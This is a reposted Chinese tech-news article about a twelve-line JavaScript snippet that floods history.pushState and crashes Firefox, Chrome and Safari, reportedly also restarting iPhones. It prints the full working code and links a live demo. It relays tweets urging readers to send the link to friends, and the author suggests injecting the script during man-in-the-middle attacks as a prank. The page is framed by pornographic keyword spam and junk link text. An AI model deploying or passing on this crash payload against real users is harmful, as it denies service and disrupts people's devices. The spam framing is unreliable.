成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

這十二行代碼是如何讓瀏覽器爆炸的?

安全
今天刷推特的時候發現Cyber Security@cyber__sec的推文讓人眼前一亮:使用這段JavaScript代碼能讓firefox,chrome,safari瀏覽器崩潰,而且還能讓iphone重啟……

[[162259]]

起因

今天刷推特的時候發現Cyber Security@cyber__sec的推文讓人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit
//使用下面這段JavaScript代碼能讓firefox,chrome,safari瀏覽器崩潰,而且還能讓iphone重啟。

 

繼續在推特上深挖發現IT Security Tweets ™ @F1r3h4nd 于17日發推:

Crash your friend's browser and restart Iphone with a link which has this script: #0day

//把帶有下面這個腳本的鏈接發給你的朋友,能讓你朋友的瀏覽器崩潰,而且讓Iphone重啟。

完整HTML代碼如下:

  1. <html> 
  2. <body> 
  3. <script> 
  4. var total="";  
  5. for (var i=0;i<1000000;i++)  
  6. {  
  7.     totaltotal= total+i.toString();  
  8.     history.pushState(0,0,total);  
  9. }  
  10. </script> 
  11. </body> 
  12. </html> 

demo:(溫馨提示:請保存瀏覽器其它窗口的編輯任務)

www.0xroot.cn/demo.html (點擊一下,又不會懷孕!)

接來下會發生什么?

點開以后,我的狀態是這樣的:

[[162260]] 

 

如果你是PC端用戶,點開鏈接以后,電腦CPU內存極有可能一路狂飆直至瀏覽器崩潰卡死!

如果你是移動端(安卓、iPhone)用戶,點開鏈接以后你的瀏覽器會閃退!在微博、微信客戶端點開鏈接同樣會閃退。至于在推文中提到的讓iPhone重啟,這一現象倒是沒有出現。22:49 修正:iPhone用Safari打開之后鏈接之后,手機注銷重啟了!…

思考

這是Bug還是0day?為什么會有這一現象?如何實現的?

有哪些比較有意思的利用姿勢?(我先來個:當在執行MITM中間人攻擊的時候,可以注入這一段js,來個惡搞整蠱。然后都懂的…)

歡迎大家在評論中發表自己的觀點[[162261]]

 

微博評論/討論摘取

懷孕了...
好有趣...
好可怕...
整蠱不錯
我已禍害了好多人(賣萌臉(づ ̄ 3 ̄)づ)
崩潰了
火狐假死10秒后彈窗提示腳本無響應可停止難道是history的棧溢出么?
可以可以,新姿勢get√
JS是世界上最好的語言!
hist.pushState是干嘛用的?
電腦正在重啟
不能只讓我一個人中招
我為什么會手賤?
Chrome隱身模式沒有問題啊
責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2016-01-22 12:17:34

代碼瀏覽器爆炸

2013-07-25 14:17:17

2015-06-11 14:05:46

QQ瀏覽器

2016-09-27 15:51:57

2016-11-11 14:03:01

2021-06-29 10:21:10

Mozilla Firefox 瀏覽器 web安全

2020-10-12 08:32:34

瀏覽器進程線程

2021-01-29 06:15:53

微軟Edge瀏覽器

2009-03-23 08:52:51

2009-05-22 08:58:47

微軟IE瀏覽器

2020-10-30 10:15:21

Chrome V8JavaScript前端

2011-10-17 13:36:54

Chrome命令

2022-07-07 07:22:01

瀏覽器JavaScript工具

2019-12-02 13:46:35

瀏覽器前端開發

2010-04-05 21:57:14

Netscape瀏覽器

2021-03-12 05:54:47

Edge微軟瀏覽器

2018-08-30 08:47:59

瀏覽器web服務器通信

2020-08-21 12:47:59

瀏覽器 Chrome Google

2012-10-29 09:40:43

HTML5JavaScriptWebGL

2010-11-03 15:39:19

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩中文字幕 | 日本精品视频一区二区 | 久久久久国产精品一区二区 | 黄色在线观看 | 男人的天堂中文字幕 | 中文精品一区二区 | 风间由美一区二区三区在线观看 | 在线视频国产一区 | 日韩综合网| 欧美一级黄色免费看 | 国产视频一二三区 | 亚洲精品中文字幕中文字幕 | 亚洲欧美一区二区三区国产精品 | 国产精品一区一区三区 | 欧美性一级 | 欧美日韩亚洲国产 | 色就干 | 国产精品一区久久久 | 一区二区三区精品 | 欧美 日韩 亚洲91麻豆精品 | 91麻豆精品一区二区三区 | 欧美日韩专区 | 日韩一级免费大片 | 91 视频网站 | 亚洲欧美在线视频 | 亚洲综合无码一区二区 | 欧美亚洲视频 | 日韩和的一区二在线 | 国产不卡视频在线 | 欧美日韩国产不卡 | 久久午夜视频 | 涩涩视频在线观看 | 国产aa | 日本免费在线 | 一区二区视频免费观看 | 五月婷婷色 | 亚洲人成在线播放 | 国产免费一区二区三区 | 999久久久免费精品国产 | 国产激情在线观看视频 | 国产乱码精品1区2区3区 |